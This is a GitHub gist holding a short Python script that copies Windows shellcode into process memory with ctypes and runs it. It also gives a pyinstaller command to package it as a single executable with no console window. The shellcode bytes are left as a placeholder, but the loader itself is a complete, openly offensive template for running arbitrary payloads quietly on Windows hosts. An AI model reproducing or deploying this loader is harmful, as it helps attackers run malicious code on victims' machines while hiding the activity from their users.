Skip to content

Instantly share code, notes, and snippets.

@Arno0x
Created March 3, 2017 08:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save Arno0x/24ccc9c36b7eaa8db3f5c5795d5a6998 to your computer and use it in GitHub Desktop.
Save Arno0x/24ccc9c36b7eaa8db3f5c5795d5a6998 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
# -*- coding: utf8 -*-
# This script executes a Windows shellcode within python process memory.
#
# Author: Arno0x0x, Twitter: @Arno0x0x
#
# Create a windows executable: pyinstaller --onefile --noconsole sample4.py
from ctypes import *
shellcode = ("\xXX\xXX[......]")
memory_with_shell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memory_with_shell,CFUNCTYPE(c_void_p))
shell()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment